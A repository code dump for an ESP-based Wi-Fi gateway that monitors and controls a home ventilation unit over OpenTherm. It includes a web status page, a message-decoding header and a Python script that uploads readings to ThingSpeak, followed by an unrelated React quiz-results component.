}else{ for(var l in v) assign(k+'.'+l,v[l]); } } function onLevelSetFailed(d,rc,rsp,j){console.log("Failed to set level: "+rc+" "+rsp+" "+j);} function onLevelSet(d,j){assign('vent.override',d['level'])} function setLevel(level){ajax('/api/set?level='+level,onLevelSet,onLevelSetFailed,{'level':level});} function onStatusFailed(d,rc,rsp,j){console.log("Failed to read status: "+rc+" "+rsp+" "+j);} function toC(hC){var c=0.01*hC; return c.toFixed(2);} // hecto-C -> C function onStatus(d,j){ try { var ss = j['sensors']; var sg = ss[2]-ss[1]; var el = ss[3]-ss[4]; tc('supply.gain',toC(sg)); tc('exhaust.gain',toC(el)); } catch (e) { console.log(e); } try { var ss = j['sensors']; for (i in ss) ss[i]=toC(ss[i]); j['sensors'] = ss; j['temp']['supply']=toC(j['temp']['supply']); j['temp']['exhaust']=toC(j['temp']['exhaust']); } catch (e) { console.log(e); } for (k in j) assign(k,j[k]); try { // for TSPs below I figured out their values: var ts = j['tsps']; tc('relFanOff',0); tc('relFanLow',ts[0]); tc('relFanNorm',ts[2]); tc('relFanHigh',ts[4]); tc('pwrOff', fl2pwatts(0)); tc('pwrLow', fl2pwatts(ts[0])); tc('pwrNorm',fl2pwatts(ts[2])); tc('pwrHigh',fl2pwatts(ts[4])); } catch (e) { console.log(e); } try { var ffs = j['faultFlagsCode']; g('faultFlags').style.display = (ffs[0]<0 && ffs[1]<0) ? 'none' : ''; } catch (e) { console.log(e); } try { var adj = j['timeAdj']; // s var loc = ""; if (adj>0) { var now = j['now']; // ms var sum = now+1000*adj; loc = localdate(new Date(sum)); } tc('time', loc); } catch (e) { console.log(e); } try { g('service.filter').style.color=s2c(j.service.filter); g('service.cartridge').style.color=s2c(j.service.cartridge); } catch (e) { console.log(e); } try { var e = g('gateway'); if (j.unresponsiveness.isResp==1) { e.textContent='OK'; e.style.color='#006000'; } else { e.textContent = 'Reset/replug required!'; e.style.color='red'; } } catch (e) { console.log(e); } try { tc('build', localdate(new Date(j.build))); } catch (e) { console.log(e); } } function s2c(val) { if (val=='OK') return '#006000'; if (val.indexOf('Waiting')>-1) return '#A08000'; return 'red'; } function post() { show(); ajax('/dbg/post'); } function refresh() { show(); readStatus(); } function readStatus(){ ajax('/api/status?n='+(new Date()).getTime(),onStatus,onStatusFailed,{}); } function setUdp(v){ show(); ajax('/dbg/udp/' + v + '?n='+(new Date()).getTime(),onStatus,onStatusFailed,{}); } function onLoad(){ setInterval(function(){readStatus()},5000); readStatus(); } function config(){ document.location="/setup"; } function localdate(d) { const offset = d.getTimezoneOffset() d = new Date(d.getTime() - (offset*60*1000)) var parts = d.toISOString().split('T'); return parts[0] + ' ' + parts[1].replace(/\..*/, ''); } function show() { g('progress').style.visibility='visible'; } function hide() { g('progress').style.visibility='hidden'; } </script> </head> <body style="margin:0" onload="onLoad()"> <div id="progress" style="visibility:'hidden'; background:rgba(50,50,50,.5); position:fixed; width:100%; height:100%; line-height:100px;" onclick="hide()"> <h1 style="text-align:center; font-size:96px"><br>⌛<br><br></h1> </div> <div> <div style="position:relative;text-align:center"> <span id="title" class="t">VitoWifi</span> <div style="position: absolute; left:1em; top:0;"> <input type="button" onclick="setUdp(1)" value="UDP on"/> <input type="button" onclick="setUdp(0)" value="UDP off"/> </div> <div style="position: absolute; right:1em; top:0;"> <input type="button" onclick="refresh()" value="Refresh"/> <input type="button" onclick="post()" value="Post"/> </div> </div> <div class="wid"> <table style="width:100%"> <tr> <td class="t">Ventilation</td> <td class="c" onclick="setLevel(0)" >OFF</td> <td class="c" onclick="setLevel(1)" >LOW</td> <td class="c" onclick="setLevel(2)" >NORM</td> <td class="c" onclick="setLevel(3)" >HIGH</td> </tr> <tr> <td>Manual</td> <td class="c rd" onclick="setLevel(0)" id="vent.override0"></td> <td class="c rd" onclick="setLevel(1)" id="vent.override1"></td> <td class="c rd" onclick="setLevel(2)" id="vent.override2"></td> <td class="c rd" onclick="setLevel(3)" id="vent.override3"></td> </tr> <tr> <td>Automatic</td> <td class="c" id="vent.web0"></td> <td class="c" id="vent.web1"></td> <td class="c" id="vent.web2"></td> <td class="c" id="vent.web3"></td> </tr> <tr style="foreground:red"> <td>Setpoint</td> <td class="c" id="vent.set0"></td> <td class="c" id="vent.set1"></td> <td class="c" id="vent.set2"></td> <td class="c" id="vent.set3"></td> </tr> <tr> <td>Fan speed</td><td colspan="4"> <div style="border: 0px solid black; box-shadow: inset #222 1px 1px 2px, inset #222 -1px -1px 2px; padding:2px;"> <div id="vent.relative" style="width:55%; background-color:#ccc; text-align: center;" > 55% </div> </div> </td> </tr> </table> </div> <div class="wid"> <table style="width:100%"> <tr><td class="t">Service actions</td></tr> <tr><td>Gateway </td><td id="gateway" ></td></tr> <tr><td>Filter </td><td id="service.filter" ></td></tr> <tr><td>Cartridge</td><td id="service.cartridge" ></td></tr> </table> </div> <div class="wid"> <table style="width:100%" border="0"> <tr><td class="t">Temperature (&deg;C)</td><td class="r">Supply</td><td class="r">Exhaust</td></tr> <tr><td>Built-in </td><td class="r" id="temp.supply" ></td><td class="r" id="temp.exhaust" ></td></tr> <tr><td></td></tr> <tr><td>Inlet </td><td class="r" id="sensors1" ></td><td class="r" id="sensors3" ></td></tr> <tr><td>Outlet</td><td class="r" id="sensors2" ></td><td class="r" id="sensors4" ></td></tr> <tr><td>Gain </td><td class="r" id="supply.gain"></td><td class="r" id="exhaust.gain"></td></tr> <tr><td></td></tr> <tr><td>Room </td><td class="r" id="sensors0"></td></tr> </table> </div> <div class="wid"> <table style="width:100%" border="0"> <tr></tr> <tr><td>Level</td><td class="r">Throughput (m³/h)</td><td colspan="2" class="r">Power (Watt)</td></tr> <tr><td>&nbsp;&nbsp;OFF</td><td id="relFanOff" class="r"></td><td id="pwrOff" class="r"></td></tr> <tr><td>&nbsp;&nbsp;LOW</td><td id="relFanLow" class="r"></td><td id="pwrLow" class="r"></td></tr> <tr><td>&nbsp;&nbsp;NORM</td><td id="relFanNorm" class="r"><td id="pwrNorm" class="r"></td></tr> <tr><td>&nbsp;&nbsp;HIGH</td><td id="relFanHigh" class="r"><td id="pwrHigh" class="r"></td></tr> </table> </div> <div class="wid"> <table style="width:100%"> <tr><td>Filter check </td><td class="r"><span id="filterCheck" ></span></td><td/></tr> <tr><td>Overall status </td><td class="r"><span id="status0" ></span></td><td class="r"><span id="status1" ></span></td></tr> <tr id='faultFlags'><td>Fault flags </td><td class="r"><span id="faultFlagsCode0" ></span></td><td class="r"><span id="faultFlagsCode1" ></span></td></tr> <tr><td>Config member ID </td><td class="r"><span id="configMemberId0" ></span></td><td class="r"><span id="configMemberId1" ></span></td></tr> <tr><td>Master config </td><td class="r"><span id="masterConfig0" ></span></td><td class="r"><span id="masterConfig1" ></span></td></tr> <tr><td>Remote param flags</td><td class="r"><span id="remoteParamFlags0"></span></td><td class="r"><span id="remoteParamFlags1"></span></td></tr> </table> </div> <div class="wid"> <table style="width:100%"> <tr> <td class="t">Messages </td><td class="r">Total</td><td class="r t">M</td><td class="r t">S</td><td class="r t">R</td><td class="r t">A</td> </tr> <tr> <td>Expected </td> <td class="r" id="messages.serial"> <td class="r" id="messages.expected.T"></td> <td class="r" id="messages.expected.B"></td> <td class="r" id="messages.expected.R"></td> <td class="r" id="messages.expected.A"></td> </tr> <tr> <td>Unexpected </td> <td></td> <td class="r" id="messages.unexpected.T"></td> <td class="r" id="messages.unexpected.B"></td> <td class="r" id="messages.unexpected.R"></td> <td class="r" id="messages.unexpected.A"></td> </tru> <tr> <td>Invalid due to</td> <td></td> <td class="r t">Len</td> <td class="r t">Fmt</td> <td class="r t">Src</td> </tr> <tr> <td></td> <td></td> <td class="r" id="messages.invalid.len"></td> <td class="r" id="messages.invalid.format"></td> <td class="r" id="messages.invalid.src"></td> </tru> <tr><td>Last </td><td class="r" colspan="5"><span id="lastMsg.serial"></span><span> ms ago</span></td></tr> </table> </div> <div class="wid"> <table style="width:100%" border="0"> <tr><td class="t" colspan="9">Transparent Slave Parameters</td></tr> <tr> <td class="t">0-7</td> <td id="tsps0">.</td><td id="tsps1">.</td><td id="tsps2">.</td><td id="tsps3">.</td> <td id="tsps4">.</td><td id="tsps5">.</td><td id="tsps6">.</td><td id="tsps7">.</td> </tr> <tr> <td class="t">8-15</td> <td id="tsps8">.</td><td id="tsps9">.</td><td id="tsps10">.</td><td id="tsps11">.</td> <td id="tsps12">.</td><td id="tsps13">.</td><td id="tsps14">.</td><td id="tsps15">.</td> </tr> <tr> <td class="t">16-23</td> <td id="tsps16">.</td><td id="tsps17">.</td><td id="tsps18">.</td><td id="tsps19">.</td> <td id="tsps20">.</td><td id="tsps21">.</td><td id="tsps22">.</td><td id="tsps23">.</td> </tr> <tr> <td class="t">24-31</td> <td id="tsps24">.</td><td id="tsps25">.</td><td id="tsps26">.</td><td id="tsps27">.</td> <td id="tsps28">.</td><td id="tsps29">.</td><td id="tsps30">.</td><td id="tsps31">.</td> </tr> <tr> <td class="t">32-39</td> <td id="tsps32">.</td><td id="tsps33">.</td><td id="tsps34">.</td><td id="tsps35">.</td> <td id="tsps36">.</td><td id="tsps37">.</td><td id="tsps38">.</td><td id="tsps39">.</td> </tr> <tr> <td class="t">40-15</td> <td id="tsps40">.</td><td id="tsps41">.</td><td id="tsps42">.</td><td id="tsps43">.</td> <td id="tsps44">.</td><td id="tsps45">.</td><td id="tsps46">.</td><td id="tsps47">.</td> </tr> <tr> <td class="t">48-55</td> <td id="tsps48">.</td><td id="tsps49">.</td><td id="tsps50">.</td><td id="tsps51">.</td> <td id="tsps52">.</td><td id="tsps53">.</td><td id="tsps54">.</td><td id="tsps55">.</td> </tr> <tr> <td class="t">56-63</td> <td id="tsps56">.</td><td id="tsps57">.</td><td id="tsps58">.</td><td id="tsps59">.</td> <td id="tsps60">.</td><td id="tsps61">.</td><td id="tsps62">.</td><td id="tsps63">.</td> </tr> </table> </div> <div class="wid"> <table style="width:100%"> <tr><td>Health</td></tr> <tr><td>Build </td><td class="r" id="build"></td></tr> <tr><td>Uptime </td><td class="r" id="uptime"></td></tr> <tr style="display:none"><td>Time adjustment </td><td class="r"><span id="timeAdj"></span>s</td></tr> <tr><td>Time </td><td class="r"><span id="time"></span></td></tr> <tr><td>Reboots </td><td class="r" id="reboots"></td></tr> <tr><td>Last reason </td><td class="r" id="esp.reboot"></td></tr> <tr><td></td><td class="r" id="esp.details"></td></tr> <tr><td>Next reboot </td><td class="r" id="nextReboot"></td></tr> </table> </div> <div class="wid"> <table style="width:100%"> <tr><td>Web posts</td></tr> <tr><td>Next post</td><td class="r" id="web.next"></td></tr> <tr><td>Last post</td><td class="r" id="web.last"></td></tr> <tr><td>Last error</td><td class="r" id="web.lastError"></td></tr> <tr><td>Number of posts</td><td class="r" id="web.posts"></td></tr> <tr><td>Server script</td><td class="r"><span id="script.n"></span> Vers. </span><span id="script.v"></span></td></tr> </table> </div> <div class="wid"> <table style="width:100%"> <tr><td>WiFi</td></tr> <tr><td>Hostname</td><td class="r" id="wifi.host"></td></tr> <tr><td>IP addr.</td><td class="r"><span id="wifi.ip"></span></td></tr> <tr><td>MAC addr.</td><td class="r" id="wifi.mac"></td></tr> <tr><td>BSSID</td><td class="r"><span id="wifi.bssid"></span></td></tr> <tr><td>RSSI</td><td class="r"><span id="wifi.rssi"></span> dBm</td></tr> </table> </div> <div class="wid"> <table style="width:100%"> <tr><td>Access point</td></tr> <tr><td>SSID</td><td class="r"><span id="ap.ssid"></span></td></tr> <tr><td>IP addr.</td><td class="r"><span id="ap.ip"></span></td></tr> <tr><td>MAC addr.</td><td class="r"><span id="ap.mac"></span></td></tr> <tr><td>Number of clients</td><td class="r"><span id="ap.cl"></span></td></tr> </table> </div> <div class="wid"> <table style="width:100%"> <tr><td>Hardware</td></tr> <tr><td>Chip ID</td><td class="r" id="esp.id"></td></tr> <tr><td>CPU </td><td class="r"><span id="esp.freq"></span> MHz </td></tr> <tr><td>Core version</td><td class="r" id="esp.core"></td></tr> <tr><td>SDK version</td><td class="r" id="esp.sdk"></td></tr> <tr><td>Sensors </td><td class="r" id="sensorsFound"></td></tr> </table> </div> <div class="wid"> <table style="width:100%"> <tr><td>Memory</td></tr> <tr><td>Sketch size </td><td class="r"><span id="esp.sketch"></span> Bytes </td></tr> <tr><td>Least heap space</td><td class="r"><span id="mem.heap.least"></span> Bytes </td></tr> <tr><td>Highest stack usage</td><td class="r"><span id="mem.stack.max"></span> Bytes </td></tr> </table> </div> <!-- <div style="padding: 1ex"> <iframe width="100%" height="260" style="border: 1px solid #cccccc;" src="https://thingspeak.com/channels/your_id/charts/your_channel1?"></iframe> <div style="height:1ex;"></div> <iframe width="100%" height="260" style="border: 1px solid #cccccc;" src="https://thingspeak.com/channels/your_id/charts/your_channel2?"></iframe> <div style="height:1ex;"></div> <iframe width="100%" height="260" style="border: 1px solid #cccccc;" src="https://thingspeak.com/channels/your_id/charts/your_channel3?"></iframe> </div> --> <!-- <div> <div style="position: relative; left:1em; top:0;"><input type="button" onclick="config()" value="Setup"/></div> </div> --> </body> </html> )=====" <file_sep>/OTMessage.h #ifndef OTMESSAGE_H #define OTMESSAGE_H class OTMessage { public: // OpenTherm message types const static uint8_t MT_READ_DATA = 0; const static uint8_t MT_WRITE_DATA = 1; const static uint8_t MT_INVALID_DATA = 2; const static uint8_t MT_RESERVED = 3; const static uint8_t MT_READ_ACK = 4; const static uint8_t MT_WRITE_ACK = 5; const static uint8_t MT_DATA_INVALID = 6; const static uint8_t MT_UNKN_DATAID = 7; // OpenTherm data IDs (common and vendor specific) // see https://forum.fhem.de/index.php?topic=29762.115;wap2 const static uint8_t DI_STATUS_FLAGS = 0; const static uint8_t DI_CONTROL_SETPOINT = 1; const static uint8_t DI_MASTER_CONFIG = 2; const static uint8_t DI_REMOTE_PARAM_FLAGS = 6; const static uint8_t DI_STATUS = 70; const static uint8_t DI_CONTROL_SETPOINT_VH = 71; // According to http://otgw.tclcode.com/matrix.cgi#thermostats only: const static uint8_t DI_FAULT_FLAGS_CODE = 72; const static uint8_t DI_CONFIG_MEMBERID = 74; const static uint8_t DI_REL_VENTILATION = 77; const static uint8_t DI_SUPPLY_INLET_TEMP = 80; const static uint8_t DI_EXHAUST_INLET_TEMP = 82; const static uint8_t DI_TSP_SETTING = 89; const static uint8_t DI_MASTER_PROD_VERS = 126; const static uint8_t DI_SLAVE_PROD_VERS = 127; static String msgTypeToStr(uint8_t t) { switch(t) { case MT_READ_DATA: return "READ_DATA"; case MT_WRITE_DATA: return "WRITE_DATA"; case MT_INVALID_DATA: return "INVALID_DATA"; case MT_RESERVED: return "RESERVED"; case MT_READ_ACK: return "READ_ACK"; case MT_WRITE_ACK: return "WRITE_ACK"; case MT_DATA_INVALID: return "DATA_INVALID"; case MT_UNKN_DATAID: return "UNKN_DATAID"; } return "UNKNOWN"; } static String dataIdToStr(uint8_t id) { switch(id) { case DI_STATUS_FLAGS: return "Master/slave Status flags"; case DI_CONTROL_SETPOINT_VH: return "Control setpoint V/H"; case DI_MASTER_CONFIG: return "Master configuration"; case DI_REMOTE_PARAM_FLAGS: return "Remote parameter flags"; case DI_STATUS: return "Status V/H"; case DI_FAULT_FLAGS_CODE: return "Fault flags/code V/H"; case DI_CONTROL_SETPOINT: return "Control setpoint"; case DI_CONFIG_MEMBERID: return "Configuration/memberid V/H"; case DI_REL_VENTILATION: return "Relative ventilation"; case DI_SUPPLY_INLET_TEMP: return "Supply inlet temperature"; case DI_EXHAUST_INLET_TEMP: return "Exhaust inlet temperature"; // TODO: Find out meaning of various "transparent slave parameters" // These are requested by the master in a round robin fashion from slave in the range 0-63, // however some indexes are skipped. // TSPs in at index 0, 2 and 4 seem to hold values for relative fan speeds for // reduced, normal, high (party) level. case DI_TSP_SETTING: return "TSP setting V/H"; case DI_MASTER_PROD_VERS: return "Master product version"; case DI_SLAVE_PROD_VERS: return "Slave product version"; #ifdef WITH_ALL_DATAIDS case 3: return "SLAVE CONFIG/MEMBERID",READ,FLAG,00000000,U8,0,255,0,Yes case 4: return "COMMAND"; case 5: return "FAULT FLAGS/CODE"; case 7: return "COOLING CONTROL"; case 8: return "TsetCH2"; case 9: return "REMOTE ROOM SETPOINT"; case 10: return "TSP NUMBER"; case 11: return "TSP ENTRY"; case 11: return "TSP ENTRY"; case 12: return "FAULT BUFFER SIZE"; case 13: return "FAULT BUFFER ENTRY"; case 14: return "CAPACITY SETTING"; case 15: return "MAX CAPACITY / MIN-MOD-LEVEL"; case 16: return "ROOM SETPOINT"; case 17: return "RELATIVE MODULATION LEVEL"; case 18: return "CH WATER PRESSURE"; case 19: return "DHW FLOW RATE"; case 20: return "DAY - TIME"; case 20: return "DAY - TIME"; case 21: return "DATE"; case 21: return "DATE"; case 22: return "YEAR"; case 22: return "YEAR"; case 23: return "SECOND ROOM SETPOINT"; case 24: return "ROOM TEMPERATURE"; case 25: return "BOILER WATER TEMP."; case 26: return "DHW TEMPERATURE"; case 27: return "OUTSIDE TEMPERATURE"; case 28: return "RETURN WATER TEMPERATURE"; case 29: return "SOLAR STORAGE TEMPERATURE"; case 30: return "SOLAR COLLECTOR TEMPERATURE"; case 31: return "SECOND BOILER WATER TEMP."; case 32: return "SECOND DHW TEMPERATURE"; case 32: return "EXHAUST TEMPERATURE"; case 48: return "DHW SETPOINT BOUNDS"; case 49: return "MAX CH SETPOINT BOUNDS"; case 50: return "OTC HC-RATIO BOUNDS"; case 56: return "DHW SETPOINT"; case 57: return "MAX CH WATER SETPOINT"; case 58: return "OTC HEATCURVE RATIO"; case 73: return "DIAGNOSTIC CODE V/H"; case 75: return "OPENTHERM VERSION V/H"; case 76: return "VERSION & TYPE V/H"; case 78: return "RELATIVE HUMIDITY V/H"; case 79: return "CO2 LEVEL V/H"; case 80: return "SUPPLY INLET TEMPERATURE V/H"; case 81: return "SUPPLY OUTLET TEMPERATURE V/H"; case 83: return "EXHAUST OUTLET TEMPERATURE V/H"; case 84: return "ACTUAL EXHAUST FAN SPEED V/H"; case 85: return "ACTUAL INLET FAN SPEED V/H"; case 86: return "REMOTE PARAMETER SETTINGS V/H"; case 87: return "NOMINAL VENTIALTION VALUE V/H"; case 88: return "TSP NUMBER V/H"; case 89: return "TSP ENTRY V/H"; case 90: return "FAULT BUFFER SIZE V/H"; case 91: return "FAULT BUFFER ENTRY V/H"; case 100: return "REMOTE OVERRIDE FUNCTION"; case 115: return "OEM DIAGNOSTIC CODE"; case 116: return "BURNER STARTS"; case 117: return "CH PUMP STATRS"; case 118: return "DHW PUMP/VALVE STARTS"; case 119: return "DHW BURNER STARTS"; case 120: return "BURNER OPERATION HOURS"; case 121: return "CH PUMP OPERATION HOURS"; case 122: return "DHW PUMP/VALVE OPERATION HOURS"; case 123: return "DHW BURNER HOURS"; case 124: return "OPENTHERM VERSION MASTER"; case 125: return "OPENTHERM VERSION SLAVE"; #endif } return String("?"); } uint32_t parity : 1, type : 3, spare : 8, dataid : 8, hi : 8, lo : 8; // Construcor: takes raw 32 bit message and splits the double word into its components. OTMessage(int32_t dword) { parity = (0x80000000 & dword)>>31; type = (0x70000000 & dword)>>28; spare = (0x0f000000 & dword)>>24; dataid = (0x00ff0000 & dword)>>16; hi = (0x0000ff00 & dword)>>8; lo = (0x000000ff & dword); } String toString() { return String("OTMessage[") + msgTypeToStr(type) + ",id:" + dataid + ",hi:" + hi + ",lo:" + lo + "," + dataIdToStr(dataid) + "]"; } }; #endif <file_sep>/fan.png.h //unsigned char fan_small_png[] = { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x48, 0x08, 0x03, 0x00, 0x00, 0x00, 0x62, 0x33, 0x43, 0x75, 0x00, 0x00, 0x00, 0x33, 0x50, 0x4c, 0x54, 0x45, 0xc0, 0x96, 0x18, 0x00, 0x00, 0x8c, 0x00, 0x00, 0xb6, 0x05, 0x00, 0xd1, 0x04, 0x0d, 0x82, 0x10, 0x00, 0xfa, 0x11, 0x2c, 0x93, 0x2f, 0x4e, 0xa3, 0x49, 0x7b, 0xba, 0x5e, 0x99, 0xc6, 0x60, 0xa8, 0xca, 0x69, 0xaf, 0xd1, 0x74, 0xb5, 0xd2, 0x79, 0xba, 0xd7, 0x7d, 0xbd, 0xdb, 0x89, 0xc2, 0xda, 0x9b, 0xca, 0xdf, 0x00, 0x61, 0xac, 0xee, 0x00, 0x00, 0x00, 0x01, 0x74, 0x52, 0x4e, 0x53, 0x00, 0x40, 0xe6, 0xd8, 0x66, 0x00, 0x00, 0x02, 0x5b, 0x49, 0x44, 0x41, 0x54, 0x58, 0xc3, 0xbd, 0xd8, 0xd9, 0x62, 0xab, 0x20, 0x10, 0x06, 0x60, 0x54, 0xe2, 0xc2, 0xb0, 0xf8, 0xfe, 0x4f, 0x5b, 0x56, 0x05, 0x64, 0x13, 0x39, 0x67, 0x7a, 0x55, 0x9b, 0x7c, 0x01, 0xc4, 0x7f, 0x48, 0x11, 0x0a, 0x8b, 0xd8, 0x42, 0xdf, 0x8a, 0xdc, 0x05, 0x83, 0x18, 0x55, 0x63, 0x1c, 0x4a, 0xe1, 0xbb, 0x43, 0x94, 0x23, 0x6b, 0x94, 0x33, 0x00, 0x52, 0x0a, 0x63, 0x8c, 0x8e, 0x80, 0x18, 0xe7, 0xbc, 0xe5, 0xb5, 0xa5, 0xbf, 0xa9, 0xa9, 0x29, 0x87, 0xd7, 0x90, 0x94, 0x15, 0x2f, 0x11, 0xe3, 0x42, 0x88, 0x36, 0x27, 0x94, 0x1e, 0x03, 0x12, 0x29, 0x88, 0x64, 0xea, 0x2d, 0x44, 0x48, 0x5d, 0xfa, 0xaf, 0x10, 0x21, 0x0d, 0x52, 0x0c, 0x49, 0xe6, 0x3c, 0xdb, 0x1d, 0x52, 0x1a, 0xd1, 0x2b, 0x88, 0xa4, 0xf7, 0x91, 0x1a, 0xd1, 0x19, 0x41, 0xa4, 0x0f, 0xe2, 0x83, 0x20, 0xfa, 0x80, 0x48, 0x37, 0x24, 0xca, 0x10, 0x98, 0xaa, 0xae, 0x36, 0x8f, 0x16, 0x29, 0x61, 0x5c, 0x95, 0x87, 0x12, 0x8b, 0x14, 0x20, 0xf4, 0x2e, 0x95, 0xa4, 0x9a, 0x42, 0x6d, 0x73, 0xf3, 0x18, 0x6a, 0xc3, 0x4a, 0x97, 0xc1, 0x94, 0x94, 0xcd, 0x91, 0x04, 0x64, 0x15, 0x9d, 0x30, 0x42, 0xfe, 0xc8, 0x32, 0x94, 0x84, 0xca, 0x8f, 0xed, 0x2d, 0x5d, 0xf9, 0xab, 0x14, 0x71, 0x97, 0xa4, 0x8c, 0x54, 0xc8, 0x48, 0xff, 0x69, 0xbb, 0xe2, 0xd7, 0x2a, 0x72, 0xf9, 0x02, 0x09, 0x50, 0x63, 0x24, 0xd9, 0xc5, 0x31, 0x97, 0x4e, 0x5b, 0x59, 0x28, 0x1e, 0x92, 0x17, 0x92, 0x36, 0x34, 0xb9, 0xc7, 0x58, 0x49, 0x43, 0xa5, 0x20, 0x55, 0x33, 0xe1, 0x4e, 0x8a, 0x9d, 0xe0, 0x3d, 0xb4, 0xd2, 0x1f, 0xc0, 0x2e, 0xac, 0xba, 0x7a, 0x10, 0x7a, 0xcd, 0xeb, 0x75, 0x5b, 0x02, 0xb9, 0xd7, 0x18, 0x13, 0xfc, 0x58, 0x31, 0x5e, 0xb7, 0x1d, 0x38, 0xcf, 0xb4, 0x83, 0x2a, 0xa5, 0x6f, 0x37, 0xdb, 0xd7, 0x69, 0x9e, 0xe7, 0x09, 0x6f, 0x44, 0x70, 0xd1, 0xd9, 0x2c, 0x95, 0x74, 0xe0, 0x79, 0xf9, 0xc9, 0x9a, 0xf1, 0xd6, 0xdf, 0xc0, 0x25, 0x44, 0xb6, 0xe9, 0x67, 0x6a, 0xc6, 0x5f, 0x4e, 0x4b, 0x70, 0xac, 0xb3, 0x85, 0x16, 0xfc, 0xe1, 0xe0, 0x85, 0xe0, 0xc0, 0x8b, 0x83, 0xa6, 0x4f, 0x12, 0xc2, 0xd7, 0x88, 0xa6, 0xed, 0xd3, 0xc1, 0xf2, 0x82, 0x66, 0xbc, 0x53, 0xf8, 0x70, 0x48, 0x5d, 0xa7, 0xc5, 0x0e, 0x68, 0x3d, 0x6c, 0x82, 0xf5, 0x59, 0x87, 0xdc, 0x46, 0xcb, 0x6f, 0x91, 0x1b, 0x69, 0x67, 0x3a, 0x77, 0xfa, 0xce, 0xce, 0x72, 0x2b, 0x1f, 0x1b, 0x9e, 0xa6, 0x09, 0xcb, 0x89, 0x31, 0x7a, 0x4b, 0xe4, 0x2d, 0x23, 0x9f, 0x0b, 0xb2, 0x6f, 0x9b, 0xbc, 0x61, 0x2e, 0x0d, 0xe1, 0xf5, 0x89, 0xde, 0x84, 0x84, 0x7a, 0x2f, 0x39, 0xd4, 0xef, 0x3a, 0x58, 0x3d, 0x28, 0x43, 0x85, 0xfb, 0xdf, 0xa5, 0x0d, 0xe7, 0x26, 0xd9, 0xaf, 0xf1, 0xd1, 0xb2, 0x94, 0x0a, 0xad, 0xd3, 0x85, 0xd6, 0x15, 0xec, 0x76, 0x80, 0x90, 0x3f, 0x89, 0x42, 0x18, 0xc6, 0x41, 0xf6, 0x01, 0xf8, 0x90, 0x92, 0x20, 0x2f, 0xf9, 0x90, 0x88, 0xc3, 0xd8, 0xdb, 0x84, 0xfa, 0x6a, 0x61, 0x48, 0x10, 0xf4, 0x07, 0xd7, 0x1b, 0x5c, 0x9b, 0xf1, 0x5e, 0x7c, 0x56, 0x86, 0xe4, 0x1a, 0x96, 0xee, 0x7b, 0xa6, 0xed, 0x39, 0x25, 0xea, 0xea, 0x6a, 0xac, 0x3c, 0x82, 0xfc, 0x0e, 0x9b, 0x6a, 0xc3, 0x40, 0xe1, 0xb9, 0xf9, 0x0c, 0x44, 0xb3, 0x90, 0xfd, 0x52, 0xe5, 0x9f, 0x0c, 0x92, 0xe7, 0x15, 0x03, 0x65, 0xe7, 0x96, 0x3f, 0xa8, 0x24, 0xa1, 0xc7, 0xdc, 0x9e, 0x0d, 0x28, 0x61, 0xc4, 0xf7, 0xa5, 0x38, 0xb7, 0xd6, 0x23, 0x9d, 0xdd, 0xf1, 0x7a, 0x6e, 0x3d, 0x10, 0xfa, 0x67, 0x90, 0xe8, 0x83, 0xa2, 0x44, 0xa8, 0xdf, 0xb6, 0x76, 0x48, 0x74, 0x41, 0xe8, 0xcd, 0x88, 0x50, 0xb3, 0x53, 0x0b, 0x80, 0x61, 0x10, 0x6a, 0x75, 0xea, 0x91, 0xd4, 0xc6, 0xdc, 0x21, 0x09, 0x4d, 0xdf, 0xb1, 0x0b, 0xc9, 0x6e, 0x12, 0x26, 0x97, 0x23, 0x4f, 0x2c, 0xdb, 0x59, 0x6c, 0x52, 0x41, 0xf5, 0x13, 0x6b, 0xe5, 0xc2, 0xea, 0x33, 0xe4, 0xd2, 0x6a, 0x0c, 0x34, 0xc0, 0xd1, 0x52, 0x18, 0x59, 0xdd, 0x47, 0x38, 0x18, 0xe3, 0x28, 0x6a, 0x0c, 0x53, 0xf8, 0x07, 0xe3, 0x1f, 0x0e, 0xd3, 0x73, 0x32, 0x44, 0xbf, 0xb3, 0x73, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4e, 0x44, 0xae, 0x42, 0x60, 0x82 }; //unsigned int fan_small_png_len = 736; <file_sep>/status_vitowifi.py #!/usr/bin/env python import datetime, httplib, urllib, urllib2, json, os # Host name (or IP address) and port of the ESP device with the VitiWifi sketch. VITOWIFI_HOST="thing-vitowifi" VITOWIFI_PORT=80 # Write thingspeak API key to a file called 'thingspeak.vitowifi.key' # in the same directory. with open('thingspeak.vitowifi.key','r') as fd: APIKEY=fd.readline() APIKEY=APIKEY.strip() # Get current status as a json document and extract information we need. response = urllib2.urlopen('http://%s:%s/api/status' % (VITOWIFI_HOST, VITOWIFI_PORT)) str = response.read() status = json.loads(str) uptime = status.get("now", -1) # uptime in millis freeheap = status.get('freeheap', -1) # free heap bytes sensors = status.get('sensors', []) # sensor temperatures mCelsius vent = status.get('vent', {}) # ventilation status relative = vent.get('relative', -1) # relative fan speed percentile: 0, 27, 55, 100% # get number of sensors found and truncate array of measures sensorsFound = int(status.get('sensorsFound',0)) sensors = sensors[:sensorsFound] # scale mCelsius to Celsius uptime /= 60000 # millis->minutes for i in range(len(sensors)): sensors[i]=0.01*sensors[i] params = urllib.urlencode({ 'field1':relative, 'field2':uptime, 'field3':freeheap, 'field4':sensors[1], 'field5':sensors[2], 'field6':sensors[3], 'field7':sensors[4], 'field8':sensors[0] }) headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", "X-THINGSPEAKAPIKEY": APIKEY } conn = httplib.HTTPConnection("api.thingspeak.com:80") conn.request("POST", "/update", params, headers) response = conn.getresponse() print datetime.datetime.now(), response.status, response.reason
f7db1d250cae868af863f010e63465dfc82335ac
[ "Markdown", "C", "Python", "C++" ]
12
C++
apdlv72/VitoWifi
13dd386332eaefb555dff9f77f54b7208b3b7d6c
fd52e02a44d7d7ea8c9673b708602b790095899b
refs/heads/master
<file_sep>import React, {Component} from 'react'; //import ReactDOM from 'react-dom'; class Results extends Component{ render(){ var percent = (this.props.score / this.props.questions.length * 100); if(percent > 80){ var message = 'Amazing my friend!'; } else if(percent < 80 && percent >= 50){ var message = 'You can do better!'; } else { var message = 'Music is not for you!'; } return( <div className="well"> <h4>You Got {this.props.score} of {this.props.questions.length} Correct</h4> <h1>{percent}% - {message}</h1> <hr /> <a href="/app">Try Again</a> </div> ) } } export default Results
